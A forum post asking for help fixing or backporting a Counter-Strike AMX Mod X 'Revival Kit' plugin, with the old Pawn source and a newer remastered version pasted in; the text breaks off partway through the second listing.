Raised This Month: $ Target: $400
 0% 

Request - Revival Kit Fix


  
 
 
Thread Tools Display Modes
Prev Previous Post   Next Post Next
Author Message
Ark_Procession
Senior Member
Join Date: Jun 2020
Location: Argentina
Old 03-27-2021 , 13:09   Request - Revival Kit Fix
Reply With Quote #1

Hello Everyone! last year i requested a fix for a revival kit plugin.

After i requested this, +ARUKARI-(user) answered me and had the courtesy to bring it back up to the last amx version, but he wouldn't port it to the version i use, which is 1.8.2.

I have a lots of plugin that cannot be ported, and it will be easier if i could have this plugin working with the minimum functions at least.

Currently it works but have some bugs. It was from another modder that abandoned the forum years ago and i kept it because it's really a game changer for me and my friends. Brings a lot of fun.

If anyone else is willing to port Arukari's back to 1.8.2 or fix the old plugin i would be grateful.

Old plugin bugs:
-Sometimes revive doesn't work when there are enemy corpses near.
-Sometimes you revive as a flying entity that can insta kill everyone with 1 click (hilarious)
-Sometimes you revive with no crosshair.

As you see it's not a lot that is not working (i don't know about code work) and also this errors luckily do not happen very often.

Note: This is the old code, newer code by arukari is down below and also brings up more functions i think:

HTML Code:
#include <amxmodx>
#include <cstrike>
#include <fakemeta_util>

#define MAX_PLAYERS 	32

#define TASKID_REVIVE 	1337
#define TASKID_RESPAWN 	1338
#define TASKID_CHECKRE 	1339
#define TASKID_CHECKST 	13310
#define TASKID_ORIGIN 	13311
#define TASKID_SETUSER 	13312

#define pev_zorigin	pev_fuser4
#define seconds(%1) ((1<<12) * (%1))

new MODEL_RKIT[] 	= "models/w_medkit.mdl"

new SOUND_START[] 	= "items/medshot4.wav"
new SOUND_FINISHED[] 	= "items/smallmedkit2.wav"
new SOUND_FAILED[] 	= "items/medshotno1.wav"
new SOUND_EQUIP[]	= "items/ammopickup2.wav"

enum
{
	ICON_HIDE = 0,
	ICON_SHOW,
	ICON_FLASH
}

new bool:g_haskit[MAX_PLAYERS+1]
new Float:g_revive_delay[MAX_PLAYERS+1]
new Float:g_body_origin[MAX_PLAYERS+1][3]
new bool:g_wasducking[MAX_PLAYERS+1]

new g_msg_bartime
new g_msg_screenfade
new g_msg_statusicon
new g_msg_clcorpse

new cvar_revival_time
new cvar_revival_health
new cvar_revival_dis
new cvar_revival_cost

static const PLUGIN_NAME[] 	= "Revival Kit"
static const PLUGIN_AUTHOR[] 	= "Cheap_Suit"
static const PLUGIN_VERSION[]	= "1.1"

public plugin_init()
{
	register_plugin(PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR)
	register_cvar(PLUGIN_NAME, PLUGIN_VERSION, FCVAR_SPONLY|FCVAR_SERVER)
	
	register_clcmd("say /buyrkit", 	"cmd_buyrkit")
	register_clcmd("buyrkit", 	"cmd_buyrkit")
	
	cvar_revival_time 	= register_cvar("amx_revkit_time", 	"6")
	cvar_revival_health 	= register_cvar("amx_revkit_health", 	"75")
	cvar_revival_dis 	= register_cvar("amx_revkit_distance", 	"70.0")
	cvar_revival_cost 	= register_cvar("amx_revkit_cost", 	"1200")
	
	g_msg_bartime	= get_user_msgid("BarTime")
	g_msg_clcorpse	= get_user_msgid("ClCorpse")
	g_msg_screenfade= get_user_msgid("")
	g_msg_statusicon= get_user_msgid("StatusIcon")

	register_message(g_msg_clcorpse, "message_clcorpse")
	
	register_event("DeathMsg", 	"event_death", 	"a")
	register_event("HLTV", 		"event_hltv", 	"a", "1=0", "2=0")
	
	register_forward(FM_Touch, 		"fwd_touch")
	register_forward(FM_EmitSound, 		"fwd_emitsound")
	register_forward(FM_PlayerPostThink, 	"fwd_playerpostthink")
}

public plugin_precache()
{
	precache_model("models/player/arctic/arctic.mdl")
	precache_model("models/player/terror/terror.mdl")
	precache_model("models/player/leet/leet.mdl")
	precache_model("models/player/guerilla/guerilla.mdl")
	precache_model("models/player/gign/gign.mdl")
	precache_model("models/player/sas/sas.mdl")
	precache_model("models/player/gsg9/gsg9.mdl")
	precache_model("models/player/urban/urban.mdl")
	precache_model("models/player/vip/vip.mdl")
	
	precache_model(MODEL_RKIT)
	
	precache_sound(SOUND_START)
	precache_sound(SOUND_FINISHED)
	precache_sound(SOUND_FAILED)
	precache_sound(SOUND_EQUIP)
}

public cmd_buyrkit(id)
{
	if(!is_user_alive(id))
		client_print(id, print_chat, "You need to be alive.")	
	else if(g_haskit[id])
		client_print(id, print_chat, "You already have a revival kit.")
	else if(cs_get_user_money(id) < get_pcvar_num(cvar_revival_cost))
		client_print(id, print_chat, "You dont have enough money (Cost:$%d)", get_pcvar_num(cvar_revival_cost))
	else
	{
		g_haskit[id] = true
		cs_set_user_money(id, cs_get_user_money(id) - get_pcvar_num(cvar_revival_cost))
		client_print(id, print_chat, "You bought a revival kit. Hold your +use key (E) to revive a teammate.")
		client_cmd(id, "spk %s", SOUND_EQUIP)
		
	}
	return PLUGIN_HANDLED
}

public message_clcorpse()	
	return PLUGIN_HANDLED
	
public client_connect(id)
{
	g_haskit[id] = false
	reset_player(id)
}

public event_hltv()
{
	fm_remove_entity_name("fake_corpse")
	fm_remove_entity_name("revival_kit")
	
	static players[32], num
	get_players(players, num, "a")
	for(new i = 0; i < num; ++i)
		reset_player(players[i])
}

public reset_player(id)
{
	remove_task(TASKID_REVIVE + id)
	remove_task(TASKID_RESPAWN + id)
	remove_task(TASKID_CHECKRE + id)
	remove_task(TASKID_CHECKST + id)
	remove_task(TASKID_ORIGIN + id)
	remove_task(TASKID_SETUSER + id)
	
	msg_bartime(id, 0)
	g_revive_delay[id] 	= 0.0
	g_wasducking[id] 	= false
	g_body_origin[id] 	= Float:{0.0, 0.0, 0.0}
}

public client_disconnect(id)
{
	new ent
	while((ent = fm_find_ent_by_owner(ent, "fake_corpse", id)) != 0)
		fm_remove_entity(ent)
}

public fwd_touch(kit, id)
{
	if(!fm_is_valid_ent(kit))
		return FMRES_IGNORED
	
	if(!is_user_alive(id) || g_haskit[id])
		return FMRES_IGNORED
	
	new classname[32]
	pev(kit, pev_classname, classname, 31)
	
	if(equal(classname, "revival_kit"))
	{
		fm_remove_entity(kit)
		g_haskit[id] = true
		client_cmd(id, "spk %s", SOUND_EQUIP)
	}
	return FMRES_IGNORED
}

public fwd_playerpostthink(id)
{
	if(!is_user_connected(id) || !g_haskit[id])
		return FMRES_IGNORED
	
	if(!is_user_alive(id))
	{
		msg_statusicon(id, ICON_HIDE)
		return FMRES_IGNORED
	}
	
	new body = find_dead_body(id)
	if(fm_is_valid_ent(body))
	{
		new lucky_bastard = pev(body, pev_owner)
	
		if(!is_user_connected(lucky_bastard))
			return FMRES_IGNORED

		new lb_team = get_user_team(lucky_bastard)
		new rev_team = get_user_team(id)
		if(lb_team == 1 || lb_team == 2 && lb_team == rev_team)
			msg_statusicon(id, ICON_FLASH)
	}
	else
		msg_statusicon(id, ICON_SHOW)
	
	return FMRES_IGNORED
}

public event_death()
{
	new id = read_data(2)
	
	reset_player(id)
	if(g_haskit[id])
	{
		g_haskit[id] = false
		drop_kit(id)
	}
	
	static Float:minsize[3]
	pev(id, pev_mins, minsize)

	if(minsize[2] == -18.0)
		g_wasducking[id] = true
	else
		g_wasducking[id] = false
	
	set_task(0.5, "task_check_dead_flag", id)
}

public drop_kit(id)
{
	new Float:velocity[3]
	velocity_by_aim(id, 34, velocity)
		
	new Float:origin[3]
	pev(id, pev_origin, origin)

	origin[0] += velocity[0]
	origin[1] += velocity[1]

	new kit = fm_create_entity("info_target")
	if(fm_is_valid_ent(kit))
	{
		set_pev(kit, pev_classname, "revival_kit")
		engfunc(EngFunc_SetModel, kit, MODEL_RKIT)
		engfunc(EngFunc_SetOrigin, kit, origin)
		engfunc(EngFunc_SetSize, kit, Float:{-2.5, -2.5, -1.5}, Float:{2.5, 2.5, 1.5})
		set_pev(kit, pev_solid, SOLID_TRIGGER)
		set_pev(kit, pev_movetype, MOVETYPE_TOSS)
	}
	return PLUGIN_CONTINUE
}

public task_check_dead_flag(id)
{
	if(!is_user_connected(id))
		return
	
	if(pev(id, pev_deadflag) == DEAD_DEAD)
		create_fake_corpse(id)
	else
		set_task(0.5, "task_check_dead_flag", id)
}	

public create_fake_corpse(id)
{
	set_pev(id, pev_effects, EF_NODRAW)
	
	static model[32]
	cs_get_user_model(id, model, 31)
		
	static player_model[64]
	format(player_model, 63, "models/player/%s/%s.mdl", model, model)
			
	static Float: player_origin[3]
	pev(id, pev_origin, player_origin)
		
	static Float:mins[3]
	mins[0] = -16.0
	mins[1] = -16.0
	mins[2] = -34.0
	
	static Float:maxs[3]
	maxs[0] = 16.0
	maxs[1] = 16.0
	maxs[2] = 34.0
	
	if(g_wasducking[id])
	{
		mins[2] /= 2
		maxs[2] /= 2
	}
		
	static Float:player_angles[3]
	pev(id, pev_angles, player_angles)
	player_angles[2] = 0.0
				
	new sequence = pev(id, pev_sequence)
	
	new ent = fm_create_entity("info_target")
	if(ent)
	{
		set_pev(ent, pev_classname, "fake_corpse")
		engfunc(EngFunc_SetModel, ent, player_model)
		engfunc(EngFunc_SetOrigin, ent, player_origin)
		engfunc(EngFunc_SetSize, ent, mins, maxs)
		set_pev(ent, pev_solid, SOLID_TRIGGER)
		set_pev(ent, pev_movetype, MOVETYPE_TOSS)
		set_pev(ent, pev_owner, id)
		set_pev(ent, pev_angles, player_angles)
		set_pev(ent, pev_sequence, sequence)
		set_pev(ent, pev_frame, 9999.9)
	}	
}

public fwd_emitsound(id, channel, sound[]) 
{
	if(!is_user_alive(id) || !g_haskit[id])
		return FMRES_IGNORED	
	
	if(!equali(sound, "common/wpn_denyselect.wav"))
		return FMRES_IGNORED	
	
	if(task_exists(TASKID_REVIVE + id))
		return FMRES_IGNORED
	
	if(!(fm_get_user_button(id) & IN_USE))
		return FMRES_IGNORED
	
	new body = find_dead_body(id)
	if(!fm_is_valid_ent(body))
		return FMRES_IGNORED

	new lucky_bastard = pev(body, pev_owner)
	new lb_team = get_user_team(lucky_bastard)
	new rev_team = get_user_team(id)
	if(lb_team != 1 && lb_team != 2 || lb_team != rev_team)
		return FMRES_IGNORED

	static name[32]
	get_user_name(lucky_bastard, name, 31)
	client_print(id, print_chat, "Reviving %s", name)
		
	new revivaltime = get_pcvar_num(cvar_revival_time)
	msg_bartime(id, revivaltime)
	
	new Float:gametime = get_gametime()
	g_revive_delay[id] = gametime + float(revivaltime) - 0.01

	emit_sound(id, CHAN_AUTO, SOUND_START, VOL_NORM, ATTN_NORM, 0, PITCH_NORM)
	set_task(0.0, "task_revive", TASKID_REVIVE + id)
	
	return FMRES_SUPERCEDE
}

public task_revive(taskid)
{
	new id = taskid - TASKID_REVIVE
	
	if(!is_user_alive(id))
	{
		failed_revive(id)
		return FMRES_IGNORED
	}
	
	if(!(fm_get_user_button(id) & IN_USE))
	{
		failed_revive(id)
		return FMRES_IGNORED
	}
	
	new body = find_dead_body(id)
	if(!fm_is_valid_ent(body))
	{
		failed_revive(id)
		return FMRES_IGNORED
	}
	
	new lucky_bastard = pev(body, pev_owner)
	if(!is_user_connected(lucky_bastard))
	{
		failed_revive(id)
		return FMRES_IGNORED
	}
	
	new lb_team = get_user_team(lucky_bastard)
	new rev_team = get_user_team(id)
	if(lb_team != 1 && lb_team != 2 || lb_team != rev_team)
	{
		failed_revive(id)
		return FMRES_IGNORED
	}
	
	static Float:velocity[3]
	pev(id, pev_velocity, velocity)
	velocity[0] = 0.0
	velocity[1] = 0.0
	set_pev(id, pev_velocity, velocity)
	
	new Float:gametime = get_gametime()
	if(g_revive_delay[id] < gametime)
	{
		if(findemptyloc(body, 10.0))
		{
			fm_remove_entity(body)
			emit_sound(id, CHAN_AUTO, SOUND_FINISHED, VOL_NORM, ATTN_NORM, 0, PITCH_NORM)
			set_task(0.1, "task_respawn", TASKID_RESPAWN + lucky_bastard)
		}
		else
			 failed_revive(id)
	}
	else
		set_task(0.1, "task_revive", TASKID_REVIVE + id)
	
	return FMRES_IGNORED
}

public failed_revive(id)
{
	msg_bartime(id, 0)
	emit_sound(id, CHAN_AUTO, SOUND_FAILED, VOL_NORM, ATTN_NORM, 0, PITCH_NORM)
}

public task_origin(taskid)
{
	new id = taskid - TASKID_ORIGIN
	engfunc(EngFunc_SetOrigin, id, g_body_origin[id])
	
	static  Float:origin[3]
	pev(id, pev_origin, origin)
	set_pev(id, pev_zorigin, origin[2])
		
	set_task(0.1, "task_stuck_check", TASKID_CHECKST + id)
}

stock find_dead_body(id)
{
	static Float:origin[3]
	pev(id, pev_origin, origin)
	
	new ent
	static classname[32]	
	while((ent = fm_find_ent_in_sphere(ent, origin, get_pcvar_float(cvar_revival_dis))) != 0) 
	{
		pev(ent, pev_classname, classname, 31)
		if(equali(classname, "fake_corpse") && fm_is_ent_visible(id, ent))
			return ent
	}
	return 0
}

stock msg_bartime(id, seconds) 
{
	if(is_user_bot(id))
		return
	
	message_begin(MSG_ONE, g_msg_bartime, _, id)
	write_byte(seconds)
	write_byte(0)
	message_end()
}

stock msg_statusicon(id, status)
{
	if(is_user_bot(id))
		return
	
	message_begin(MSG_ONE, g_msg_statusicon, _, id)
	write_byte(status)
	write_string("rescue")
	write_byte(255)
	write_byte(100)
	write_byte(0)
	message_end()
}

 public task_respawn(taskid) 
 {
	new id = taskid - TASKID_RESPAWN
	
	set_pev(id, pev_deadflag, DEAD_RESPAWNABLE)
	dllfunc(DLLFunc_Spawn, id)
	set_pev(id, pev_iuser1, 0)
	
	set_task(0.1, "task_check_respawn", TASKID_CHECKRE + id)
}

public task_check_respawn(taskid)
{
	new id = taskid - TASKID_CHECKRE
	
	if(pev(id, pev_iuser1))
		set_task(0.1, "task_respawn", TASKID_RESPAWN + id)
	else
		set_task(0.1, "task_origin", TASKID_ORIGIN + id)
}
 
public task_stuck_check(taskid)
{
	new id = taskid - TASKID_CHECKST

	static Float:origin[3]
	pev(id, pev_origin, origin)
	
	if(origin[2] == pev(id, pev_zorigin))
		set_task(0.1, "task_respawn", TASKID_RESPAWN + id)
	else
		set_task(0.1, "task_setplayer", TASKID_SETUSER + id)
}

public task_setplayer(taskid)
{
	new id = taskid - TASKID_SETUSER
	
	fm_give_item(id, "weapon_knife")
	fm_set_user_health(id, get_pcvar_num(cvar_revival_health))
	
	message_begin(MSG_ONE,g_msg_screenfade, _, id)      
	write_short(seconds(2))
	write_short(seconds(2))   
	write_short(0)  
	write_byte(0)    
	write_byte(0)    
	write_byte(0)     
	write_byte(255)    
	message_end()
}


stock bool:findemptyloc(ent, Float:radius)
{
	if(!fm_is_valid_ent(ent))
		return false

	static Float:origin[3]
	pev(ent, pev_origin, origin)
	origin[2] += 2.0
	
	new owner = pev(ent, pev_owner)
	new num = 0, bool:found = false
	
	while(num <= 100)
	{
		if(is_hull_vacant(origin))
		{
			g_body_origin[owner][0] = origin[0]
			g_body_origin[owner][1] = origin[1]
			g_body_origin[owner][2] = origin[2]
			
			found = true
			break
		}
		else
		{
			origin[0] += random_float(-radius, radius)
			origin[1] += random_float(-radius, radius)
			origin[2] += random_float(-radius, radius)
			
			num++
		}
	}
	return found
}

stock bool:is_hull_vacant(const Float:origin[3])
{
	new tr = 0
	engfunc(EngFunc_TraceHull, origin, origin, 0, HULL_HUMAN, 0, tr)
	if(!get_tr2(tr, TR_StartSolid) && !get_tr2(tr, TR_AllSolid) && get_tr2(tr, TR_InOpen))
		return true
	
	return false
}








Arukari's Code:

HTML Code:
#include <amxmodx>
#include <amxmisc>
#include <cstrike>
#include <fun>
#include <engine>
#include <fakemeta>
#include <hamsandwich>
#include <xs>

//=====================================
//  VERSION CHECK
//=====================================
#if AMXX_VERSION_NUM < 190
	#assert "AMX Mod X v1.9.0 or Higher library required!"
#endif

#pragma compress 					1
#pragma semicolon 					1
#pragma tabsize 					4

static const PLUGIN_NAME	[] 		= "Revival Kit / Remastered";
static const PLUGIN_AUTHOR	[] 		= "Aoi.Kagase";
static const PLUGIN_VERSION	[]		= "0.1";

#if !defined MAX_PLAYERS
	#define  MAX_PLAYERS	          	32
#endif
#if !defined MAX_RESOURCE_PATH_LENGTH
	#define  MAX_RESOURCE_PATH_LENGTH 	64
#endif
#if !defined MAX_NAME_LENGTH
	#define  MAX_NAME_LENGTH			32
#endif

#define TASKID_DIE_COUNT			41320
#define TASKID_REVIVING				41360
#define TASKID_CHECK_DEAD_FLAG		41400
#define TASKID_RESPAWN 	            41440
#define TASKID_CHECKRE 	            41480
#define TASKID_CHECKST 	            41520
#define TASKID_ORIGIN 	            41560
#define TASKID_SETUSER 	            41600

#define pev_zorigin					pev_fuser4
#define seconds(%1) 				((1<<12) * (%1))

#define HUDINFO_PARAMS

enum _:E_ICON_STATE
{
	ICON_HIDE = 0,
	ICON_SHOW,
	ICON_FLASH
};

enum _:E_SOUNDS
{
	SOUND_START,
	SOUND_FINISHED,
	SOUND_FAILED,
	SOUND_EQUIP,
};

enum _:E_MODELS
{
	R_KIT,
};

enum _:E_CVARS
{
	REVIVAL_HEALTH,
	REVIVAL_COST,
	REVIVAL_SC_FADE,
	REVIVAL_TIME,
	REVIVAL_SC_FADE_TIME,
	REVIVAL_DEATH_TIME,
	Float:REVIVAL_DISTANCE,
};

enum _:E_PLAYER_DATA
{
	bool:HAS_KIT		,
	bool:WAS_DUCKING	,
	bool:IS_DEAD		,
	Float:DEAD_LINE		,
	Float:REVIVE_DELAY	,
	Float:BODY_ORIGIN	[3],
};

enum _:E_CLASS_NAME
{
	I_TARGET,
	PLAYER,
	CORPSE,
	R_KIT,
};

enum _:E_MESSAGES
{
	MSG_BARTIME,
	MSG_SCREEN_FADE,
	MSG_STATUS_ICON,
	MSG_CLCORPSE,
}

new const ENT_MODELS[E_MODELS][MAX_RESOURCE_PATH_LENGTH] = 
{
	"models/w_medkit.mdl"
};

new const ENT_SOUNDS[E_SOUNDS][MAX_RESOURCE_PATH_LENGTH] = 
{
	"items/medshot4.wav",
	"items/smallmedkit2.wav",
	"items/medshotno1.wav",
	"items/ammopickup2.wav",
};

new const ENTITY_CLASS_NAME[E_CLASS_NAME][MAX_NAME_LENGTH] = 
{
	"info_target",
	"player",
	"fake_corpse",
	"revival_kit",
};

new g_cvars			[E_CVARS];
new g_msg_data		[E_MESSAGES];
new g_player_data	[MAX_PLAYERS + 1][E_PLAYER_DATA];
new g_sync_obj;
//====================================================
//  PLUGIN PRECACHE
//====================================================
public plugin_precache() 
{
	check_plugin();

	for (new i = 0; i < sizeof(ENT_SOUNDS); i+= MAX_RESOURCE_PATH_LENGTH)
		precache_sound(ENT_SOUNDS[i]);

	for (new i = 0; i < sizeof(ENT_MODELS); i+= MAX_RESOURCE_PATH_LENGTH) 
		precache_model(ENT_MODELS[i]);

	return PLUGIN_CONTINUE;
}

//====================================================
//  PLUGIN INITIALIZE
//====================================================
public plugin_init()
{
	register_plugin		(PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR);
	register_cvar		(PLUGIN_NAME, PLUGIN_VERSION, FCVAR_SPONLY|FCVAR_SERVER);

	register_clcmd		("say /buyrkit", 	"CmdBuyRKit");
	register_clcmd		("buyrkit", 		"CmdBuyRKit");

	bind_pcvar_num		(create_cvar("rkit_health", 			"75"), 		g_cvars[REVIVAL_HEALTH]);
	bind_pcvar_num		(create_cvar("rkit_cost", 				"1200"), 	g_cvars[REVIVAL_COST]);
	bind_pcvar_num		(create_cvar("rkit_screen_fade",		"1"), 		g_cvars[REVIVAL_SC_FADE]);
	bind_pcvar_num		(create_cvar("rkit_delay_revive", 		"3"), 		g_cvars[REVIVAL_TIME]);
	bind_pcvar_num		(create_cvar("rkit_delay_die", 			"30"), 		g_cvars[REVIVAL_DEATH_TIME]);
	bind_pcvar_num		(create_cvar("rkit_screen_fade_time", 	"2"), 		g_cvars[REVIVAL_SC_FADE_TIME]);
	bind_pcvar_float	(create_cvar("rkit_distance", 			"70.0"), 	g_cvars[REVIVAL_DISTANCE]);

	RegisterHam			(Ham_Touch,	ENTITY_CLASS_NAME[I_TARGET],"RKitTouch");
	RegisterHamPlayer	(Ham_Killed,							"PlayerKilled");
	RegisterHamPlayer	(Ham_Player_PostThink,					"PlayerPostThink");

	register_event_ex	("HLTV", 								"RoundStart", RegisterEvent_Global, "1=0", "2=0");
	register_message 	(g_msg_data[MSG_CLCORPSE],				"message_clcorpse");
	// Register Forward.
	register_forward	(FM_CmdStart,		"PlayerCmdStart");

	g_msg_data	[MSG_BARTIME]		= get_user_msgid("BarTime");
	g_msg_data	[MSG_CLCORPSE]		= get_user_msgid("ClCorpse");
	g_msg_data	[MSG_SCREEN_FADE]	= get_user_msgid("ScreenFade");
	g_msg_data	[MSG_STATUS_ICON]	= get_user_msgid("StatusIcon");
	g_sync_obj = CreateHudSyncObj();
}
// ====================================================
//  Bot Register Ham.
// ====================================================
new g_bots_registered = false;
public client_authorized( id )
{
    if( !g_bots_registered && is_user_bot( id ) )
    {
        set_task( 0.1, "register_bots", id );
    }
}

public register_bots( id )
{
    if( !g_bots_registered && is_user_connected( id ) )
    {
        RegisterHamFromEntity( Ham_Killed, id, "PlayerKilled");
        g_bots_registered = true;
    }
}

public client_putinserver(id)
{
	g_player_data[id][HAS_KIT] = false;
	player_reset(id);
}

public client_disconnected(id)
{
	new ent;
	while ((ent = engfunc(EngFunc_FindEntityByString, ent, "classname", ENTITY_CLASS_NAME[CORPSE])))
	{
		if (pev(ent, pev_owner) == id)
			engfunc(EngFunc_RemoveEntity, ent);
	}
}

public CmdBuyRKit(id)
{
	if(!is_user_alive(id))
		client_print(id, print_chat, "You need to be alive.");
	else if(g_player_data[id][HAS_KIT])
		client_print(id, print_chat, "You already have a revival kit.");
	else if(!cs_get_user_buyzone(id))
		client_print(id, print_chat, "You need to be in the buyzone.");
	else if(cs_get_user_money(id) < g_cvars[REVIVAL_COST])
		client_print(id, print_chat, "You dont have enough money (Cost:$%d)", g_cvars[REVIVAL_COST]);
	else
	{
		g_player_data[id][HAS_KIT] = true;
		cs_set_user_money(id, cs_get_user_money(id) - g_cvars[REVIVAL_COST]);
		client_print(id, print_chat, "You bought a revival kit. Hold your +use key (E) to revive a teammate.");
		client_cmd(id, "spk %s", ENT_SOUNDS[SOUND_EQUIP]);
	}
	return PLUGIN_HANDLED;
}

public PlayerKilled(iVictim, iAttacker)
{
	player_reset(iVictim);
	if(g_player_data[iVictim][HAS_KIT])
	{
		g_player_data[iVictim][HAS_KIT] = false;
		drop_rkit(iVictim);
	}

	static Float:minsize[3];
	pev(iVictim, pev_mins, minsize);

	if(minsize[2] == -18.0)
		g_player_data[iVictim][WAS_DUCKING] = true;
	else
		g_player_data[iVictim][WAS_DUCKING] = false;
		
	g_player_data[iVictim][DEAD_LINE] = get_gametime();

	if (!is_user_bot(iVictim))
	set_task_ex(0.1, "PlayerDie", 		  TASKID_DIE_COUNT 		 + iVictim, _, _, SetTaskFlags:SetTask_Repeat);
	set_task_ex(0.5, "TaskCheckDeadFlag", TASKID_CHECK_DEAD_FLAG + iVictim, _, _, SetTaskFlags:SetTask_Repeat);

	return HAM_IGNORED;
}

#define GUAGE_MAX 30
public PlayerDie(taskid)
{
	new id = taskid - TASKID_DIE_COUNT;
	new Float:time = (get_gametime() - g_player_data[id][DEAD_LINE]);
	new Float:remaining = 0.0;
	new bar[31] = "";
	if (!is_user_alive(id))
	if (time < g_cvars[REVIVAL_DEATH_TIME])
	{
		remaining = g_cvars[REVIVAL_DEATH_TIME] - time;
		show_time_bar(100 / GUAGE_MAX, floatround(remaining * 100.0 / float(g_cvars[REVIVAL_DEATH_TIME]), floatround_ceil), bar);
		new timestr[6];
		get_time_format(remaining, timestr, charsmax(timestr));
		set_hudmessage(255, 50, 100, -1.00, -1.00, .effects= 0 , .holdtime= 0.1);
		ShowSyncHudMsg(id, g_sync_obj, "Possible resurrection time remaining: ^n%s^n[%s]", timestr, bar);
	}
	else
	{
		remove_target_entity(id, ENTITY_CLASS_NAME[CORPSE]);
		player_reset(id);
	}
	else
		remove_task(taskid);
}

stock show_time_bar(oneper, percent, bar[])
{
	for(new i = 0; i < 30; i++)
		bar[i] = ((i * oneper) < percent) ? '|' : '_';
	bar[30] = '^0';
}

public message_clcorpse()
{
	return PLUGIN_HANDLED;
}

public PlayerPostThink(id)
{
	// is user connected?
	if (!is_user_connected(id))
		return FMRES_IGNORED;

	// has user revive kit?
	if (!g_player_data[id][HAS_KIT])
		return FMRES_IGNORED;

	// is user dead?
	if (!is_user_alive(id))
	{
		// Hide Rescue icon.
		msg_statusicon(id, ICON_HIDE);
		return FMRES_IGNORED;
	}
	
	new body = find_dead_body(id);
	if(pev_valid(body))
	{
		new lucky_bastard = pev(body, pev_owner);
	
		if(!is_user_connected(lucky_bastard))
			return FMRES_IGNORED;

		new CsTeams:lb_team  = cs_get_user_team(lucky_bastard);
		new CsTeams:rev_team = cs_get_user_team(id);
		if(lb_team == CS_TEAM_T || lb_team == CS_TEAM_CT && lb_team == rev_team)
			msg_statusicon(id, ICON_FLASH);
	}
	else
		msg_statusicon(id, ICON_SHOW);
	
	return FMRES_IGNORED;
}

public RKitTouch(kit, id)
{
	if(!pev_valid(kit))
		return FMRES_IGNORED;
	
	if(!is_user_alive(id) || g_player_data[id][HAS_KIT])
		return FMRES_IGNORED;
	
	new classname[32];
	pev(kit, pev_classname, classname, 31);
	
	if(equal(classname, ENTITY_CLASS_NAME[R_KIT]))
	{
		engfunc(EngFunc_RemoveEntity, kit);
		g_player_data[id][HAS_KIT] = true;
		client_cmd(id, "spk %s", ENT_SOUNDS[SOUND_EQUIP]);
	}
	return FMRES_IGNORED;
}

public PlayerCmdStart(id, handle, random_seed)
{
	// Not alive
	if(!is_user_alive(id))
		return FMRES_IGNORED;

	// Get user old and actual buttons
	static iInButton, iInOldButton;
	iInButton	 = (get_uc(handle, UC_Buttons));
	iInOldButton = (get_user_oldbutton(id)) & IN_USE;

	// C4 is through.
	if ((pev(id, pev_weapons) & (1 << CSW_C4)) && (iInButton & IN_ATTACK))
		return FMRES_IGNORED;

	// USE KEY
	iInButton &= IN_USE;

	if (iInButton)
	{
		if (!iInOldButton)
		{
			if (g_player_data[id][HAS_KIT])
			{
				wait_revive(id);
				return FMRES_HANDLED;
			}
		}
	}
	else
	{
		if (iInOldButton)
		{
			if (task_exists(TASKID_REVIVING + id))
			{
				remove_task(TASKID_REVIVING + id);
				failed_revive(id);
			}
		}
	}
	return FMRES_IGNORED;
}

//====================================================
// Removing target put lasermine.
//====================================================
public wait_revive(id)
{
	// Removing Check.
	new body = find_dead_body(id);
	if(!pev_valid(body))
		return FMRES_IGNORED;

	new lucky_bastard 		= pev(body, pev_owner);
	new CsTeams:lb_team 	= cs_get_user_team(lucky_bastard);
	new CsTeams:rev_team 	= cs_get_user_team(id);
	if(lb_team != CS_TEAM_T && lb_team != CS_TEAM_CT || lb_team != rev_team)
		return FMRES_IGNORED;

	client_print(id, print_chat, "Reviving %n", lucky_bastard);

	if (g_cvars[REVIVAL_TIME] > 0.0)
		show_progress(id, g_cvars[REVIVAL_TIME]);
	
	new Float:gametime = get_gametime();
	g_player_data[id][REVIVE_DELAY] = (gametime + g_cvars[REVIVAL_TIME] - 0.01);

	emit_sound(id, CHAN_AUTO, ENT_SOUNDS[SOUND_START], VOL_NORM, ATTN_NORM, 0, PITCH_NORM);
	set_task_ex(0.1, "TaskRevive", TASKID_REVIVING + id, _,_, SetTaskFlags:SetTask_Repeat);

	return FMRES_HANDLED;
}

public TaskCheckDeadFlag(taskid)
{
	// log_amx("TaskCheckDeadFlag START");
	new id = taskid - TASKID_CHECK_DEAD_FLAG;
	if(!is_user_connected(id))
		return;
	
	if(pev(id, pev_deadflag) == DEAD_DEAD)
	{
		create_fake_corpse(id);
		remove_task(taskid);
	}
	// log_amx("TaskCheckDeadFlag END");
}	

public TaskRevive(taskid)
{
	// log_amx("TaskRevive START");
	new id = taskid - TASKID_REVIVING;
	new target, body;

	if (!can_target_revive(id, target, body))
	{
		failed_revive(id);
		remove_task(taskid);
		return PLUGIN_CONTINUE;
	}

	static Float:velocity[3];
	pev(id, pev_velocity, velocity);
	xs_vec_set(velocity, 0.0, 0.0, velocity[2]);
	set_pev(id, pev_velocity, velocity);		

	if(g_player_data[id][REVIVE_DELAY] < get_gametime())
	{
		if(findemptyloc(body, 10.0))
		{
			set_pev(body, pev_flags, pev(body, pev_flags) | FL_KILLME);			
			emit_sound(id, CHAN_AUTO, ENT_SOUNDS[SOUND_FINISHED], VOL_NORM, ATTN_NORM, 0, PITCH_NORM);
			set_task(0.1, "TaskReSpawn", TASKID_RESPAWN + target);
			remove_task(taskid);
		}
	}
	// log_amx("TaskRevive END");	
	return PLUGIN_CONTINUE;
}

 public TaskReSpawn(taskid) 
 {
	// log_amx("TaskReSpawn START");
	new id = taskid - TASKID_RESPAWN;
	
	set_pev(id, pev_deadflag, DEAD_RESPAWNABLE);
	dllfunc(DLLFunc_Spawn, id);
	set_pev(id, pev_iuser1, 0);
	
	set_task(0.1, "TaskCheckReSpawn", TASKID_CHECKRE + id);
	// log_amx("TaskReSpawn END");
}

public TaskCheckReSpawn(taskid)
{
	// log_amx("TaskCheckReSpawn START");
	new id = taskid - TASKID_CHECKRE;
	
	if(pev(id, pev_iuser1))
		set_task(0.1, "TaskReSpawn", TASKID_RESPAWN + id);
	else
		set_task(0.1, "TaskOrigin",  TASKID_ORIGIN + id);
	// log_amx("TaskCheckReSpawn END");
}

public TaskOrigin(taskid)
{
	// log_amx("TaskOrigin START");
	new id = taskid - TASKID_ORIGIN;
	engfunc(EngFunc_SetOrigin, id, g_player_data[id][BODY_ORIGIN]);
	
	static  Float:origin[3];
	pev(id, pev_origin, origin);
	set_pev(id, pev_zorigin, origin[2]);
		
	set_task(0.1, "TaskStuckCheck", TASKID_CHECKST + id);
	// log_amx("TaskOrigin END");
}

public TaskStuckCheck(taskid)
{
	// log_amx("TaskStuckCheck START");
	new id = taskid - TASKID_CHECKST;

